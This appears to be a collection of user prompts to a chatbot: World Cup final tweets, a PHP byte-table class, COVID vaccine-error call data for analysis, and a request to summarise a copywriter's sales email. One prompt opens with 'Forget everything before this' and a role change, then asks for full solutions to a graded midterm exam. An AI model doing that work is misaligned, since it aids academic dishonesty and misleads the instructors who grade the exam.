goal after 35mins. I never expected that. They\'ve usually gotten the 1st goal before sitting back and hitting on the break. 2-0 down and looking like a team with no fight in them #ARGFRA #FIFAWorldCup 15:36:50.0000000\n@mr\\_ntim Argentina the better team so far. They can score second goal anytime 15:34:15.0000000\n#FIFAWorldCup | Lionel Messi scores first goal for the team. Argentina 1-0 against France https://t.co/YbT5G13mR5 15:35:50.0000000\nFrance is getting sliced and diced. What a freaking team goal from #ARG. 15:36:51.0000000\nE be like this France team no chop come field...35 mins and no single attempt on goal.... 15:35:44.0000000\nBrilliant team goal that, good finish by Di Maria! Argentina all over France here 15:36:40.0000000\nWhat a team goal from Argentina. Right attitude and set-up from the first second. 15:36:58.0000000\nAmazing team goal. Fully deserved btw they’ve been class. France look defeated already 15:36:48.0000000\nAu Revoir France! My word what a team goal. #FIFAWorldCup https://t.co/U67QNIHAQm 15:36:54.0000000\nWhat a goal ????\'France second best team 3 games in a row 15:36:18.0000000\nThat was an excellent team goal, Argentina 2 - France 0 #ARGFRA 15:36:12.0000000\nWHAT A TEAM GOAL! Argentina have battered these French twats 15:36:42.0000000\nThat, is the best team goal of the World Cup. #WorldCupFinal 15:36:33.0000000\nArgentina 2nd goal ??\'What a team work ?????? 15:36:48.0000000\nGOAL Argentina 2-0 France Di Maria, wonderful team goal #ARGFRA #FIFAWorldCup 15:36:06.0000000\nargentina 2 -0. wonderful, wonderful team goal 15:36:37.0000000\nIs a 2–0 lead after 35 minutes deserved? Without a shadow of a doubt. Outstanding team goal #ARGFRA 15:36:23.0000000\nThat was a good team goal Argentina ???????? 15:36:59.0000000' -"class SHARED\\_BYTE\\_DATA\\_STRUCTURE { \n public $\\_8BIT\\_PermutationTable = ['00000000','00000001','00000010','00000011','00000100','00000101','00000110','00000111','00001000','00001001','00001010','00001011','00001100','00001101','00001110','00001111','00010000','00010001','00010010','00010011','00010100','00010101','00010110','00010111','00011000','00011001','00011010','00011011','00011100','00011101','00011110','00011111','00100000','00100001','00100010','00100011','00100100','00100101','00100110','00100111','00101000','00101001','00101010','00101011','00101100','00101101','00101110','00101111','00110000','00110001','00110010','00110011','00110100','00110101','00110110','00110111','00111000','00111001','00111010','00111011','00111100','00111101','00111110','00111111','01000000','01000001','01000010','01000011','01000100','01000101','01000110','01000111','01001000','01001001','01001010','01001011','01001100','01001101','01001110','01001111','01010000','01010001','01010010','01010011','01010100','01010101','01010110','01010111','01011000','01011001','01011010','01011011','01011100','01011101','01011110','01011111','01100000','01100001','01100010','01100011','01100100','01100101','01100110','01100111','01101000','01101001','01101010','01101011','01101100','01101101','01101110','01101111','01110000','01110001','01110010','01110011','01110100','01110101','01110110','01110111','01111000','01111001','01111010','01111011','01111100','01111101','01111110','01111111','10000000','10000001','10000010','10000011','10000100','10000101','10000110','10000111','10001000','10001001','10001010','10001011','10001100','10001101','10001110','10001111','10010000','10010001','10010010','10010011','10010100','10010101','10010110','10010111','10011000','10011001','10011010','10011011','10011100','10011101','10011110','10011111','10100000','10100001','10100010','10100011','10100100','10100101','10100110','10100111','10101000','10101001','10101010','10101011','10101100','10101101','10101110','10101111','10110000','10110001','10110010','10110011','10110100','10110101','10110110','10110111','10111000','10111001','10111010','10111011','10111100','10111101','10111110','10111111','11000000','11000001','11000010','11000011','11000100','11000101','11000110','11000111','11001000','11001001','11001010','11001011','11001100','11001101','11001110','11001111','11010000','11010001','11010010','11010011','11010100','11010101','11010110','11010111','11011000','11011001','11011010','11011011','11011100','11011101','11011110','11011111','11100000','11100001','11100010','11100011','11100100','11100101','11100110','11100111','11101000','11101001','11101010','11101011','11101100','11101101','11101110','11101111','11110000','11110001','11110010','11110011','11110100','11110101','11110110','11110111','11111000','11111001','11111010','11111011','11111100','11111101','11111110','11111111'];\n public $\\_8Bit\\_MaxPermutations = 256; \n public $MemoryReferenceArray = array();\n\n function \\_\\_construct() {}\n\n public function &YIELD\\_NEXT\\_8\\_BIT\\_PERMUTATION() { \n for ($i = 0; $i < count($MemoryReferenceArray); $i++) { \n yield $MemoryReferenceArray[$i]; \n } \n } \n\n function &getReferenceToInternalArray() {\n return $this->MemoryReferenceArray;\n }\n public function &Request8BitStringReference($BitString) {\n for($i = 0; $i < count($this->\\_8BIT\\_PermutationTable); $i++) { \n if (CompareBitstrings(strval($this->\\_8BIT\\_PermutationTable[$i]),strval($BitString)) == 'MATCH') {\n $this->MemoryReferenceArray[] = &$this->\\_8BIT\\_PermutationTable[$i]; \n return $this->MemoryReferenceArray[count($this->MemoryReferenceArray)-1]; \n }\n }\n } \n}\n$SHARED\\_BYTE = new SHARED\\_BYTE\\_DATA\\_STRUCTURE(); \n\n$memoryReferencyOnly1 = $SHARED\\_BYTE->Request8BitStringReference('10111000');\n$memoryReferencyOnly2 = $SHARED\\_BYTE->Request8BitStringReference('11111111');\n$memoryReferencyOnly3 = $SHARED\\_BYTE->Request8BitStringReference('00000000');\n$memoryReferencyOnly4 = $SHARED\\_BYTE->Request8BitStringReference('10111000');" -'TIME BASED QUERIES\nI did an analysis of a covid call centre for medical professionals. The first dataset below outlines the number of calls containing the keyword "Error" in accordance with date. This referred to Vaccine Errors. The second data set pasted below outlines the number of webinars that took place for medical professionals, as well as newsletter sent out that related to Covid 19 Vaccine Errors to inform medical professionals about Vaccine Errors. The third dataset is the number of Covid vaccines given in relation to date. Please analyse the following and tell me trends and how the three data sets might relate to each other.\n--\nData Set 1: Error\n\nDate Error\n1/01/2020 0\n8/01/2020 0\n15/01/2020 0\n22/01/2020 0\n29/01/2020 0\n5/02/2020 0\n12/02/2020 0\n19/02/2020 0\n26/02/2020 0\n4/03/2020 0\n11/03/2020 0\n18/03/2020 0\n25/03/2020 0\n1/04/2020 0\n8/04/2020 0\n15/04/2020 0\n22/04/2020 0\n29/04/2020 0\n6/05/2020 0\n13/05/2020 0\n20/05/2020 0\n27/05/2020 0\n3/06/2020 0\n10/06/2020 1\n17/06/2020 0\n24/06/2020 0\n1/07/2020 0\n8/07/2020 0\n15/07/2020 0\n22/07/2020 0\n29/07/2020 0\n5/08/2020 0\n12/08/2020 0\n19/08/2020 1\n26/08/2020 0\n2/09/2020 0\n9/09/2020 0\n16/09/2020 0\n23/09/2020 0\n30/09/2020 0\n7/10/2020 0\n14/10/2020 0\n21/10/2020 0\n28/10/2020 0\n4/11/2020 0\n11/11/2020 0\n18/11/2020 0\n25/11/2020 0\n2/12/2020 0\n9/12/2020 0\n16/12/2020 0\n23/12/2020 0\n30/12/2020 0\n6/01/2021 0\n13/01/2021 0\n20/01/2021 0\n27/01/2021 0\n3/02/2021 0\n10/02/2021 0\n17/02/2021 0\n24/02/2021 0\n3/03/2021 1\n10/03/2021 0\n17/03/2021 0\n24/03/2021 0\n31/03/2021 0\n7/04/2021 0\n14/04/2021 0\n21/04/2021 1\n28/04/2021 0\n5/05/2021 1\n12/05/2021 4\n19/05/2021 0\n26/05/2021 2\n2/06/2021 2\n9/06/2021 1\n16/06/2021 2\n23/06/2021 5\n30/06/2021 6\n7/07/2021 1\n14/07/2021 2\n21/07/2021 3\n28/07/2021 4\n4/08/2021 1\n11/08/2021 3\n18/08/2021 3\n25/08/2021 17\n1/09/2021 9\n8/09/2021 9\n15/09/2021 12\n22/09/2021 3\n29/09/2021 11\n6/10/2021 8\n13/10/2021 9\n20/10/2021 4\n27/10/2021 8\n3/11/2021 10\n10/11/2021 7\n17/11/2021 5\n24/11/2021 6\n1/12/2021 7\n8/12/2021 5\n15/12/2021 4\n22/12/2021 3\n29/12/2021 5\n5/01/2022 11\n12/01/2022 13\n19/01/2022 32\n26/01/2022 34\n2/02/2022 8\n9/02/2022 9\n16/02/2022 12\n23/02/2022 28\n2/03/2022 14\n9/03/2022 18\n16/03/2022 16\n23/03/2022 16\n30/03/2022 12\n6/04/2022 4\n13/04/2022 3\n20/04/2022 3\n27/04/2022 9\n4/05/2022 3\n11/05/2022 1\n18/05/2022 4\n25/05/2022 3\n1/06/2022 5\n8/06/2022 1\n15/06/2022 8\n22/06/2022 3\n29/06/2022 6\n6/07/2022 11\n13/07/2022 21\n20/07/2022 11\n27/07/2022 9\n3/08/2022 3\n10/08/2022 3\n17/08/2022 2\n24/08/2022 3\n31/08/2022 3\n7/09/2022 0\n14/09/2022 0\n21/09/2022 1\n28/09/2022 0\n--\nData Set 2: (Covid Communications)\nDate Covid Communications\n1/01/2020 \n8/01/2020 \n15/01/2020 \n22/01/2020 \n29/01/2020 \n5/02/2020 \n12/02/2020 \n19/02/2020 \n26/02/2020 \n4/03/2020 \n11/03/2020 \n18/03/2020 \n25/03/2020 \n1/04/2020 \n8/04/2020 \n15/04/2020 \n22/04/2020 \n29/04/2020 \n6/05/2020 \n13/05/2020 \n20/05/2020 \n27/05/2020 \n3/06/2020 \n10/06/2020 \n17/06/2020 \n24/06/2020 \n1/07/2020 \n8/07/2020 \n15/07/2020 \n22/07/2020 \n29/07/2020 \n5/08/2020 \n12/08/2020 \n19/08/2020 \n26/08/2020 \n2/09/2020 \n9/09/2020 \n16/09/2020 \n23/09/2020 \n30/09/2020 \n7/10/2020 \n14/10/2020 \n21/10/2020 \n28/10/2020 \n4/11/2020 \n11/11/2020 \n18/11/2020 \n25/11/2020 \n2/12/2020 \n9/12/2020 \n16/12/2020 \n23/12/2020 \n30/12/2020 \n6/01/2021 \n13/01/2021 \n20/01/2021 \n27/01/2021 \n3/02/2021 \n10/02/2021 \n17/02/2021 \n24/02/2021 \n3/03/2021 \n10/03/2021 \n17/03/2021 \n24/03/2021 \n31/03/2021 \n7/04/2021 \n14/04/2021 \n21/04/2021 \n28/04/2021 \n5/05/2021 \n12/05/2021 \n19/05/2021 \n26/05/2021 \n2/06/2021 \n9/06/2021 \n16/06/2021 \n23/06/2021 \n30/06/2021 \n7/07/2021 \n14/07/2021 \n21/07/2021 \n28/07/2021 \n4/08/2021 \n11/08/2021 \n18/08/2021 \n25/08/2021 \n1/09/2021 \n8/09/2021 \n15/09/2021 \n22/09/2021 \n29/09/2021 \n6/10/2021 \n13/10/2021 \n20/10/2021 \n27/10/2021 \n3/11/2021 \n10/11/2021 \n17/11/2021 \n24/11/2021 \n1/12/2021 \n8/12/2021 \n15/12/2021 \n22/12/2021 \n29/12/2021 \n5/01/2022 \n12/01/2022 \n19/01/2022 \n26/01/2022 \n2/02/2022 \n9/02/2022 \n16/02/2022 \n23/02/2022 \n2/03/2022 \n9/03/2022 \n16/03/2022 \n23/03/2022 \n30/03/2022 \n6/04/2022 \n13/04/2022 \n20/04/2022 \n27/04/2022 \n4/05/2022 \n11/05/2022 \n18/05/2022 \n25/05/2022 \n1/06/2022 \n8/06/2022 1\n15/06/2022 \n22/06/2022 \n29/06/2022 \n6/07/2022 \n13/07/2022 \n20/07/2022 \n27/07/2022 \n3/08/2022 \n10/08/2022 \n17/08/2022 \n24/08/2022 \n31/08/2022 \n7/09/2022 \n14/09/2022 \n21/09/2022 \n28/09/2022 \n\nData Set 3: Weekly Covid Vaccines Adminstered\nDate Weekly Covid Vaccinations\n1/01/2020 \n8/01/2020 \n15/01/2020 \n22/01/2020 \n29/01/2020 \n5/02/2020 \n12/02/2020 \n19/02/2020 \n26/02/2020 \n4/03/2020 \n11/03/2020 \n18/03/2020 \n25/03/2020 \n1/04/2020 \n8/04/2020 \n15/04/2020 \n22/04/2020 \n29/04/2020 \n6/05/2020 \n13/05/2020 \n20/05/2020 \n27/05/2020 \n3/06/2020 \n10/06/2020 \n17/06/2020 \n24/06/2020 \n1/07/2020 \n8/07/2020 \n15/07/2020 \n22/07/2020 \n29/07/2020 \n5/08/2020 \n12/08/2020 \n19/08/2020 \n26/08/2020 \n2/09/2020 \n9/09/2020 \n16/09/2020 \n23/09/2020 \n30/09/2020 \n7/10/2020 \n14/10/2020 \n21/10/2020 \n28/10/2020 \n4/11/2020 \n11/11/2020 \n18/11/2020 \n25/11/2020 \n2/12/2020 \n9/12/2020 \n16/12/2020 \n23/12/2020 \n30/12/2020 \n6/01/2021 \n13/01/2021 \n20/01/2021 \n27/01/2021 \n3/02/2021 \n10/02/2021 \n17/02/2021 3\n24/02/2021 1785\n3/03/2021 9809\n10/03/2021 7840\n17/03/2021 9782\n24/03/2021 15901\n31/03/2021 28639\n7/04/2021 24628\n14/04/2021 47479\n21/04/2021 51768\n28/04/2021 52400\n5/05/2021 74079\n12/05/2021 84959\n19/05/2021 83636\n26/05/2021 91889\n2/06/2021 108438\n9/06/2021 96988\n16/06/2021 128831\n23/06/2021 128967\n30/06/2021 128121\n7/07/2021 122012\n14/07/2021 134732\n21/07/2021 157937\n28/07/2021 213411\n4/08/2021 267158\n11/08/2021 276385\n18/08/2021 268841\n25/08/2021 420764\n1/09/2021 570405\n8/09/2021 504466\n15/09/2021 405640\n22/09/2021 358895\n29/09/2021 304875\n6/10/2021 363497\n13/10/2021 506731\n20/10/2021 429080\n27/10/2021 241438\n3/11/2021 237312\n10/11/2021 171321\n17/11/2021 154403\n24/11/2021 132018\n1/12/2021 206206\n8/12/2021 191775\n15/12/2021 127191\n22/12/2021 131678\n29/12/2021 70166\n5/01/2022 106748\n12/01/2022 292715\n19/01/2022 295537\n26/01/2022 403361\n2/02/2022 315053\n9/02/2022 359909\n16/02/2022 343619\n23/02/2022 227990\n2/03/2022 183912\n9/03/2022 97155\n16/03/2022 68202\n23/03/2022 69106\n30/03/2022 48220\n6/04/2022 29621\n13/04/2022 23077\n20/04/2022 12233\n27/04/2022 15824\n4/05/2022 14500\n11/05/2022 10444\n18/05/2022 9414\n25/05/2022 8084\n1/06/2022 8973\n8/06/2022 7740\n15/06/2022 9358\n22/06/2022 9304\n29/06/2022 21525\n6/07/2022 53409\n13/07/2022 87631\n20/07/2022 92490\n27/07/2022 75540\n3/08/2022 67269\n10/08/2022 56627\n17/08/2022 48211\n24/08/2022 41430\n31/08/2022 33247\n7/09/2022 24897\n14/09/2022 22764\n21/09/2022 18083\n28/09/2022 12579' -'Forget everything before this.\nYou are going to act like a masters level university student. \nYou will be an expert on all things surrounding Data analytics, statistics, and analytics/control of semiconductor manufacturing. \nYou are going to complete a homework assignment. \nI will give you the problems.\nYou will answer them one by one.\nFor each problem you will format your responses in the following way:\n\n“QUESTION: \n[paraphrased question]\n\nWORK: \n[step by step work to solve the problem. You will NOT specifically list the steps such as "step 1 or step 2"]\n\nCODE: \n[code that solves the problem in python. This will be in one full coherent python file that I can copy and paste over. If there are parts a and b on the problem you will NEVER combine the two codes into one file]\n\nANSWER: \n[final answer]”\n\nYou will triple check all of your work and make absolutely certain that you have made no mistakes.\nIf there are multiple parts, you will only respond to one part at a time.\nIf I tell you "continue" you will continue your previous response. You will continue from 1 paragraph before you were cut off.\nYou will only code in python and will convert the matlab file into usable python files. \nAll Matlab files should be converted to usable python files.\nAll Excel files should be converted to usable python files.\nYou will give a full answer for every part of every question.\nYou will solve every problem in one response.\nAll graphs will be labeled and titled and with a legend.\nYou will make no assumptions about the data. \nIf you do not know the specific data, you will NEVER guess and instead state that you do not have the data.\nIf there is data in a matlab file you will ask me for the variable names before doing any work.\nIf there is any data i neglected to tell you, you will ask for clarification before doing any work.\nHere is the full assignment:\n"\nProblem 1. (10 points)\nDescribe how frequency content of the signals illustrated below changes with time. Note\n– brighter (red/yellow) colors denote higher energy levels, while darker (blue) colors\nindicate lower energy levels\n(a)\n(b)\n(c)\n0 1000 2000 3000 4000 5000 6000 7000 8000 9000\nTime\n0\n0.05\n0.1\n0.15\n0.2\n0.25\n0.3\n0.35\n0.4\n0.45\n0.5\nNormalized Frequency (0.5 corresponds to the Nyquist Frequency)\n2\n4\n6\n8\n10\n12\n0 1000 2000 3000 4000 5000 6000 7000 8000 9000\nTime\n0\n0.05\n0.1\n0.15\n0.2\n0.25\n0.3\n0.35\n0.4\n0.45\n0.5\nNormalized Frequency (0.5 corresponds to the Nyquist Frequency)\n2\n4\n6\n8\n10\n12\n0 1000 2000 3000 4000 5000 6000 7000 8000 9000\nTime\n0\n0.05\n0.1\n0.15\n0.2\n0.25\n0.3\n0.35\n0.4\n0.45\n0.5\nNormalized Frequency (0.5 corresponds to the Nyquist Frequency)\n2\n4\n6\n8\n10\n12\n3\n\nAdditional information about how the graphs look on problem 1:\nthe first graph in part a has a sinusodal curve, beginning at 0.2 normalized frequency it curves up to 0.28 at 2500 seconds and then curves back down to 0.01 at 8200 seconds then finally ends by curving back up to .08 at 10000 seconds. at all times, the color of the graph is a mid yellow color indicating a mid to higher energy level.\nThe second graph in part b has a lot of noise and exists at a blueish color indicating a lower energy level. it runs from 0 to 0.35 seconds with most of the data occuring at the 4200 Hz frequency level\nThe third graph in part c runs from 0 seconds to 0.08 seconds. there is data at high energy occurring between 0.04 and 0.06 seconds with most of it soccurring around 0.045 seconds. this data ranges from 0 to 400 Hz frequency at a very high energy level indicated by the red color.\n\nProblem 2. (10 points)\nExcel file MidtermProblem2.xlsx contains measurements of resistances obtained from\ninspection of a coper metal mesh device. Each measurement is a resistance measurement\nfor one specific square of a metal mesh and what you see in that excel file are\nmeasurements of resistances from 150 squares. Squares are considered functional\n(acceptable) if their resistances are between 3.4 and 3.6 Ohms.\nFigure 2: Image of a coper metal mesh\nproduced at UT NASCENT Center\n(https://nascent.utexas.edu).\nProblem 3. (10 points)\nA device requires an array of nano-holes to be made, with their desired diameter being 15nm.\nQuality control engineers believe that the nano-holes are coming with a diameter LARGER\nthan 15nm. In order to quickly evaluate the claim, the quality engineer takes optical\nmeasurements of 7 randomly selected holes, which results in the following diameters:\n15.75nm; 15.5nm; 15.0nm; 15.3nm; 14.75nm; 15.5nm and 14.90nm\n(a) Formulate the appropriate hypotheses and conduct the necessary statistical tests to\nevaluate the quality engineer’s suspicion, using the false alarm ratio of 0.02. Please\nclearly state the necessary hypotheses, carefully explain the choice of the test statistic\nand clearly state if the engineer’s suspicions have statistical backing or not. (5 pts.)\nHint: You need to estimate the standard deviation.\n(b) If the actual distribution of hole diameters is normal distribution with expected value\n16nm and standard deviation 0.1nm, please evaluate the missed detection rate (beta)\nfor the statistical test (for the alarming limits) you derived in part (a). (5 pts.)\nNote: For full credit, please show ALL steps of your work and use software packages/toolboxes only\nfor trivial calculations (finding averages, standard deviations of the data), or finding\npercentiles/cumulative density functions of relevant distributions (though for that, you can use\nAppendix tables enclosed with our lecture materials). Avoid using (do not use) built in packages and\ntoolboxes for statistical testing, especially if you do not have full control over them (and they usually\nhave so many options/parameters, that it is easy to overlook something, which could lead to bad\nresults for which it would be impossible to get partial credit, even though the error is just in the\nsetting of the toolbox/package).\n(a) Based on the data, estimate the\nexpected value and standard deviation\nof the distribution describing the\nbehavior of those resistances. (5 pts.)\n(b) Assuming that resistances follow a\nnormal (Gaussian) distribution,\nestimate the probability that this\nprocess yields functioning (acceptable)\nmetal mesh squares. (10 pts.)\n4\nProblem 4. (20 points)\nBehavior of thin film thicknesses monitored by taking periodic samples consisting of 8\nmeasurements of the film thickness on each wafer. Average film thicknesses are used to\nmonitor weather the process is on target, while variability in each sample is used to assess\nfilm uniformity. Data in the matlab file MidtermProblem4.mat enclosed along with this\nexam depict those film thickness measurements (in nanometers) for 50 wafers. In order to\nhelp you, I also enclose the same dataset in the excel file MidtermProblem4.xlsx In both\nfiles, each row represents a sample obtained from one wafer and, as you can see, there are\n50 samples, each of size 8.\n(a) Use the first 25 samples to form the Shewhart control charts for film thickness\nmeasurements (x-bar and range charts). Please adopt false alarm rate of 0.1%.\n(b) Plot the remaining 25 samples on the chart and comment on what you see. What\ncan you say about mean film thicknesses and film uniformity?\nPlease feel free to use whatever software package you wish to plot the charts. Nevertheless,\nfor full credit, please show details of how control limits are derived.\nProblem 5. (50 points)\nMatlab file MidtermProblem5.mat contains 10 channels of data labeled as x1, x2,…,x10.\nIn each channel, there are 1000 recordings (this situation corresponds to processing of 1000\nwafers on a tool, with processing of each wafer being characterized by 10 sensory features,\nsuch as average pressure, standard deviation of pressure, min pressure, max pressure, mean\ntemperature, average reflected RF power, max reflected RF power, etc.). For your\nconvenience, the same data is also stored in an excel file MidtermProblem5.xlsx.\nIn this dataset, first 100 records (signatures from processing of the first 100 wafers)\nrepresent the “golden dataset”.\n(a) Use the golden dataset (first 100 records) to perform dimensionality reduction of\nthis dataset. How many dimensions do you think you should keep? Why? (15 pts)\n(b) Based on the golden dataset, please determine control limits for the Exponentially\nWeighted Moving Average (EWMA), as well as the variational EWMA control\ncharts for the principal components you selected in part (a). Please use false alarm\nrate of 0.3% and use forgetting factor = 0.3. Please clearly state what you found\nas center lines, upper and lower control limits, and clearly describe how you found\nthem. (20 pts)\n(c) For the remaining 900 data records, please construct EWMA and variational\nEWMA control charts, with control limits established based on part (b). Do you\nnotice any changes in the process? (15 pts)\n"\n\nYou will do every single part of every single question and separate them clearlyShare Prompt' -"10 bullets based on what is learned from the following article/email written by Justin McDonald:\n\nThe Race to the bottom\nThere is no strategic advantage, whatsoever, to being the second or third best price in your marketplace...\nHowever, there is a major advantage to being the most expensive price.\nNow, I know most of your reading this may say: “Justin, how can that be?”\nHey, I know, you know, that he business battlefield is rough and tough as it is. Them streets are mean.\nBut, really, do you want to be in an all-out price war?\nEven, if yow feel like you have “competitive advantage” over the other business(es) in your marketplace, however, there are no permanent competitive advantages to having the lowest price—it's just impossible. \nMany try, and all of them fail and eventually go bankrupt.\nLook at what happened to:\nSears, Circuit City, Kmart, Toys R Us and Office Max.. They pretty much ALL went bankrupt and had to close down. The ones left, are scrapping by and hard to believe they still exist in America's Amazonian.\nSo, exactly, what is a commodity?\nIf you are unsure if you are a commodity, or not, well here's a quick breakdown of what I believe a commodity is. (This is loosely based off something, I believe, Dan Kennedy said about commodities, in case you're wondering where this crazy jargon was inspired from.)\nOh, also, one thing you want to keep in the back of your mind...\n While I'm 'splaining this things, or these things, we define as “commodities” I have a bold contradicting statement to make.... that there really isn't such a thing as a commodity.\nHa, yup, that's right...\nNo such thing as a commodity!\nReally, it's more of a mindset, or what can be more or less described as commodity thinking.\nIt''s sort of like saying, you can't manage time time—it's impossible. It's not a man made object.\nHowever, you can manage the people and activities around to better fit your schedule.\nWe will still think of the above statement as “Time management” and for the sake of this quick lesson, we will dub all things related to the commodity mindset as.... a “commodity' in this case so I can tell the story.\nSo, if you're not really sure what a commodity is, well it's basically interchangeable and low-value items you'd typically find on the grocery stores shelves, things in the ce=leaning section, paper goods, office supplies, gasoline, and even insurance, can all be classified as commodities.\nWhen you look at businesses that sell to other business, like raw materials, things you fins in the janitor's closet, of course the office supplies, and even the morning coffee, have all become commodities.\nIf the only thing that separates you from the rest is price... you're doomed.\nOften, the commodities we see everyday, are the ordinary, plain, vanilla, products and services don't carry much differentiation and consumers tend to “price shop” for these items and it's usually the best price wins for them.\nThis is a very dangerous category to be in!!!\nYou might think you're playing it “safe” by having the lowest price, but really you aren't doing anyone (especially, you, your business, and its employees) any favors by having the cheapest price out there.\nIn fact, I challenge all of you reading this tight now to go back into work tomorrow and rise all you prices by ATLEAST 10%\nThat's right, I said, and I'll say it again. (nice and Big this time:)\nRAISE YOU PRICES TODAY! (THIS MEANS YOU)\nI know this might be a hard thing for you to do, and I know it takes guts to do this. But, trust me, it will do your business (and yourself...and your brand) a lot of good by discontinuing this rat race to the bottom of the food chain.\n(By the way, I can help you make the change and raise those prices, at virtually NO SACRFICE or cost to you. Think about it this way, if you raised your prices tomorrow I could theoretically give you FREE consultation. Wink wink, nudge nudge. Hit me up: justinmcdonald.consulting@gmail.com)\nIf you want to look at this in a broader scope, like the bigger corporate commodities that successfully sell at higher prices, just take a look at...\nNow I am a big fan of seltzer water. So is the rest of the country now. When I'm home, I can just use the soda make stream thingamajig. So, I 60 liters for about $30 ($20ish when I bring back my old cylinder.\nMost grocery stores sell the big brands of seltzers, these days, we'll say about $4.99-5.99 for a 12pack of seltzer for name brand, probably $3.99 for the 8 packs I suppose of name brand, and about $2.99 for the store brand.\nS. Pellegrino Essenza sells their 8 packs of seltzer for @6.99 or Perrier Sparkling Water - 8pk\n at $.59. Just bubbles and H20. Then, take a look at this new company called Liquid Death, they sell their 12 packs for $14.99. Why? Go look them up sometime, they have a really decent marketing campaign.\nI remember Robert Kiyoksaki (Rich Dad, Poor Dad fame) used to say:\n“If you are not a brand,you are a commodity.”\nI'm not saying you should spend all your time building your brand either, but this is the kind of mindset that'll get you in the “successful business thinking” instead of the commodity-type of thinking.\nIf you have been following the pattern here, you can see that commodities, or the businesses that perform with the mindset of being a commodity, are really competing based on price.\nIn other words, those that commoditize themselves are putting themselves in enemy lines and going to (price) war.\nReally, if you are a commodity, then the competition can only drive your overhead down, which is why I like to call it:\nThe race to the bottom.\nNow, imagine this crazy scenario... (actually, come to think of it, it ain't all that uncommon.)\nAn outside competitor decided to move into the marketplace and they pretty much underpay all their employees, because most of them are low-wage or minimum wage immigrant workers—many from under developed countries. And, they have a good relationship with the post office and their home country, where they do much of their outsourcing.\nSo, now you're really int trouble, if your only selling point, or what made you stand out was price. These new guys now have the upper hand and can basically charge whatever they want (Obviously, to an extent, but enough to make things an uphill battle for your business.)\nOne way to avoid “looking” like everyone else in your marketplace (ahem: a commodity) is to be different. Some start building their own brand. Others create, or carve out their own niche, within the marketplace.\nJust like the old sayin':\n“Niches become riches”\nHowever, creating a niche can come quick, for some, but for many of us, this stuff just doesn't appear on our door step overnight.\nThis can be a challenging process, for some, mainly because it means sacrificing short-term profits f or the long term goals.\nLike, for instance, I know this sounds bizarre, but you really got to look at the first sale, in any business, as being the least profitable.\nUnless, of course you're in the ”one and done” business and don't care to get repeat buyers. (Therefore, what I'm saying might be considered useless to you.)\nFor the rest of you that want customer retention, you really, really, really got to maximize the amount you're spending on your ad budget and your marketing processes. (Notice how I said marketing “processes.”)\nThat's because, ladies and gentle folk:\nMarketing is a process not an event.\nDoes that statement sound familiar? Good! If not, remember that it's a process.\nAs much as I like money, and as much as many businesses are willing to spend on quality and successful marketing campaigns, that actually produce REAL results worth mentioning...\nWe, copywriters and ad people, can't just do it all by ourselves (no matter how much money you throw at us?)\nWhy? Well, because you still need to be in the driver's seat (at least sitting shotgun( when we do your ads and write your copy.\nNobody knows your business better than you. Period.\nSo, sure you can hire me, or any of us to write you ads, sure. But, think about it. We really, really, really, got to at least dig inside YOUR brain and mine out the nuggets.\nIf the client gets one whiff, it ain't you speaking, they will freak out and say bye-bye. Adios Amigos.\nSo, we, as writers need to sound like you, or as if it were you talking.\nSo, that's why I say you got to know your business inside and out and also share the thoughts rattling in your head, and everything else, with us. (Plus, any prior ad copy, especially the winners.)\nLet's say you're still stuck in that commodity box, like we were talking about earlier.\nThe moment you decide to stop living in that box, the moment you start becoming free.\nAlas, now we can work on your mission, you plan, and this becomes part of your brand. What makes you different. What makes you better than the rest.\nJust the simple fact you're online reading the kind of articles, you are already in the right track.\nNow it's time to start cookin'.\nBut, you should be aware, that this stage is and can be a personal and delicate stage for many business owners.\nNo body can decide your mission, and nobody can express what it is you wan to do better than you.\nThis is your thing. Live your dream. Live your best life and all that.\nWithout getting all woo-woo on you, I believe this to be the time in one;s life (in business) where they really reach down in their soul (if they have one) and discover why they are in the business they are in.\nIf you are in it just for money. I hate to break it you, but that's not going to last very long. Certainly not forever.\nIf you HATAE what you're doing but the money is good. It ain't enough. It can't sustain. Eventually you'll want to quit because it will interfere with your life and screw with your head until you decide to make the change and be honest with yourself.\nThis isn't a step you can just breeze through wither. Ii's worth taking your time,\n(Whenever you re ready to make the move and need a hand getting traffic and making more money, then just send me an email: justinmcdonald.consulting@gmail.com.)\nThe thoughts and emotions you have about your business, your self-image, status, and what you think about in terms of what your business looks in the marketplace will all eventually translate to how we all tend to want to move forward, also with you and with your business. \nEveryone will pretty much be able to read you like a book...\non whether or not this is a good fit for you.\nI mean does anyone like dealing with a desperate, sad puppy salesman, soaked from the rain and smelling like vomit, on their doorstep trying to sell plastic food storage bins out of his musky briefcase?\nI think not.\nEither way, once you really find out what it is you want to do moving forward, and discover, or rediscover, what your true purpose is, then you'll want to define what makes you unique.\nWe call this the Unique selling proposition. (USP). And, if you're paying any attention you saw I covered what a USP is already.\nSome of you might be thinking it's too late to get out of the commodity box, but don't be discourages, it really just takes a little mental clarity and creativity, and just having the basic skills of seeing through things clearly... you'll be fine.\nOnce we get to see the unique aspects of what you offer, it should be a cinch.\nWhile you're looking around to see what stands out as a commodity, or doing market research, just take a look at some of the upscale designer jeans, fashion underwear modeled for the super rich, and even something we can get for fee, essentially, air (yes, oxygen) and water (bottled) are crazy expensive.\nAnyway, I think I gave you a lot to put in the back of your mind.\nJust remember, the more one is willing to spend on their success, the better the and more frequent the results that are required to be successful.\nThank you for reading and I look forward to sharing my next installment.\nPeace,\nJustin N. McDonald\nP.S.\nIf you, or anyone you know is sick of wasting money on copywriters and consultants that don't deliver, then maybe it's time to stop living in that hell.\nI might be, and confident that I am, telling you the whole truth and nothing but the truth here, and if what I write here, speaks to you in anyway, I could be the right guy for the job.\nI am sure there are plenty that can do it cheaper, and by all means do some shopping around. But, I ain't cheap. I also have a zero-tolerance for any interruptions when we work together.\n I get results and I get them quick.\nI so have (for a very limited time ONLY) a very special BETA 30-minute consultation rate for your first initial call (remember what I said about the first sale being the least profitable? Even applies to me)\nWell, here is living proof\nThere should be a few spots open this month, just check the schedule:\njustinmcdonald.biz/schedule\nP.P.S.\nShameless Plug: I know you hear me talk about and reference Dan Kennedy all the time. The guy is a genius and it's hard not to\nI know I already did enough pitching with my own self. But, just like having a hard time resisting reference the guy, it's equally s hard not to do a little business with your hero and spread the word.\nLook, I know I practically given away thousands, probably hundreds of thousand dollars out, potentially in ideas for FREE.\nSo, you know where I get a lot of my ideas from, right? And my business philosophy? \nThat's right, Dan Kennedy.\nSo if you want your business, in 2023, to make millions, if not more, then get this guys' newsletter.\nDan Kennedy are practically giving away millions of dollars worth of REAL business advice and secrets in these 